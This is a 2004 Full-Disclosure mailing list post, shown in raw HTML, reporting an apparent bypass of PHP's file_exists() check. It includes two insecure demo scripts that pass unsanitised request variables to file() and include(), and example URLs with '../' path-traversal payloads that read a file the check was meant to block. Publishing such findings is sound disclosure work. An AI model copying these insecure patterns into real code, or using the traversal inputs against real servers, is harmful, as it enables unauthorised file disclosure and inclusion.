[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-Disclosure] file_exists() bypassing , critical problem ?
- To: full-disclosure@lists.netsys.com
- Subject: [Full-Disclosure] file_exists() bypassing , critical problem ?
- From: "Lost Noobs" <lostnoobs@hotmail.com>
- Date: Mon, 02 Feb 2004 10:05:39 +0100
<html><div style='background-color:'><DIV class=RTE> Hi,</DIV>
<DIV class=RTE> There is a security problem on the file_exists() function
who allows<BR> unauthorized users to bypassing the function.</DIV>
<DIV class=RTE> For example, an user use this function for checking the
existence and<BR> display the source code of his file "my_file.php" in the
"/test"<BR>directory.</DIV>
<DIV class=RTE> He use for this a script like this one :</DIV>
<DIV class=RTE> ----- file_exists.php -----</DIV>
<DIV
class=RTE> <?php<BR> if(file_exists($var)){<BR> echo("File
exist<br><br>");<BR> $source = file( $var );<BR> while (
list( $num_line, $line ) = each( $source ) )<BR> {<BR> echo
"<B>Line $num_line:</B> ".htmlspecialchars( $line ) .
"<br>";<BR> }<BR> }else{<BR> echo("File doesn't
exist<br<br ");<BR> $source = file( $var );<BR> while ( list(
$num_line, $line ) = each( $source ) )<BR> {<BR> echo "<B>Line
$num_line:</B> ".htmlspecialchars( $line ) .
"<br>";<BR> }<BR> }<BR> ?</DIV>
<DIV class=RTE> ----- file_exists.php -----</DIV>
<DIV class=RTE> He test his script with the following adress on his server
:<BR> <A
href="http://[server]/test/file_exists.php?var=my_file.php">http://[server]/test/file_exists.php?var=my_file.php</A></DIV>
<DIV class=RTE> The file "my_file.php" contain the following text :</DIV>
<DIV class=RTE> ----- my_file.php -----</DIV>
<DIV class=RTE> PHP is a widely-used<BR> general-purpose
scripting<BR> language that is especially<BR> suited for Web
development<BR> and can be embedded into HTML.</DIV>
<DIV class=RTE> ----- my_file.php -----</DIV>
<DIV class=RTE> After launching his script, he obtain :</DIV>
<DIV class=RTE> ----- <A
href="http://[server]/test/file_exists.php?var=my_file.php">http://[server]/test/file_exists.php?var=my_file.php</A>
-----</DIV>
<DIV class=RTE> File exist</DIV>
<DIV class=RTE> Line 0: PHP is a widely-used<BR> Line 1:
general-purpose scripting<BR> Line 2: language that is
especially<BR> Line 3: suited for Web development<BR> Line 4: and can
be embedded into HTML.</DIV>
<DIV class=RTE> ----- <A
href="http://[server]/test/file_exists.php?var=my_file.php">http://[server]/test/file_exists.php?var=my_file.php</A>
-----</DIV>
<DIV class=RTE> Up to here everything seems to be normal.</DIV>
<DIV class=RTE> If he test it with another name file, he obtain :</DIV>
<DIV class=RTE> ----- <A
href="http://[server]/test/file_exists.php?var=another_file.php">http://[server]/test/file_exists.php?var=another_file.php</A>
-----</DIV>
<DIV class=RTE> File doesn't exist</DIV>
<DIV class=RTE><BR> Warning: file(test): failed to open stream: No such
file or directory in<BR> /home/xxx/www/test/file_exists.php on line
11</DIV>
<DIV class=RTE> Warning: Variable passed to each() is not an array or
object in<BR> /home/xxx/www/test/file_exists.php on line 12</DIV>
<DIV class=RTE> ----- <A
href="http://[server]/test/file_exists.php?var=another_file.php">http://[server]/test/file_exists.php?var=another_file.php</A>
-----</DIV>
<DIV class=RTE> It's normal too...</DIV>
<DIV class=RTE> But, if an user test this script for example with the
following link :<BR> <A
href="http://[server]/test/file_exists.php?var=anything/../my_file.php">http://[server]/test/file_exists.php?var=anything/../my_file.php</A>,
he<BR>obtain<BR> :</DIV>
<DIV class=RTE> -----<BR><A
href="http://[server]/test/file_exists.php?var=anything/../my_file.php">http://[server]/test/file_exists.php?var=anything/../my_file.php</A>
-----</DIV>
<DIV class=RTE> File doesn't exist</DIV>
<DIV class=RTE> Line 0: PHP is a widely-used<BR> Line 1:
general-purpose scripting<BR> Line 2: language that is
especially<BR> Line 3: suited for Web development<BR> Line 4: and can
be embedded into HTML.</DIV>
<DIV class=RTE> -----<BR><A
href="http://[server]/test/file_exists.php?var=anything/../my_file.php">http://[server]/test/file_exists.php?var=anything/../my_file.php</A>
-----</DIV>
<DIV class=RTE> We can see that the file_exists() function return that the
file doesn't<BR> exist, but the source code has been displayed.</DIV>
<DIV class=RTE> It's a very critical bug because a malicious user can use
it to bypassing<BR> the file_exist() protection on a include() script for
example.</DIV>
<DIV class=RTE> </DIV>
<DIV
class=RTE>°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>Another example more simply:</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>In the same directory :</DIV>
<DIV class=RTE>test.php</DIV>
<DIV class=RTE>-----------------------------------------------------------</DIV>
<DIV class=RTE><?</DIV>
<DIV class=RTE>if(file_exists($page)){</DIV>
<DIV class=RTE>echo("Sorry the local page is protected");</DIV>
<DIV class=RTE>}else{</DIV>
<DIV class=RTE>include($page);</DIV>
<DIV class=RTE>}</DIV>
<DIV class=RTE>?></DIV>
<DIV class=RTE>-----------------------------------------------------------</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>file.txt</DIV>
<DIV class=RTE>-----------------------------------------------------------</DIV>
<DIV class=RTE>Hello Word</DIV>
<DIV class=RTE>-----------------------------------------------------------</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE><A
href="http://www.example.com/test.php?page=file.txt">http://www.example.com/test.php?page=file.txt</A></DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>Result:</DIV>
<DIV class=RTE>Sorry the local page is protected</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE><A
href="http://www.example.com/test.php?page=./foo/../file.txt">http://www.example.com/test.php?page=./foo/../file.txt</A></DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>Result:</DIV>
<DIV class=RTE>Hello Word</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>The function file_exists() is bypassing</DIV>
<DIV class=RTE> </DIV>
<DIV
class=RTE>°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>
<DIV class=RTE>I want to know if you thinks that's a real vulnerability or not
? (securityfocus says NO and don't want to publish it)</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>If you have any questions. Don't hesitate to contact me.</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>Nourredine Himeur</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE>lostnoobs@security-challenge.com</DIV>
<DIV class=RTE> </DIV>
<DIV class=RTE><A
href="http://www.security-challenge.com/">www.security-challenge.com</A></DIV></DIV></div><br
clear=all><hr>Dialoguez en direct et gratuitement avec vos amis sur <a
href="http://g.msn.com/8HMAFRFR/2737??PS=">MSN Messenger !</a> </html>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html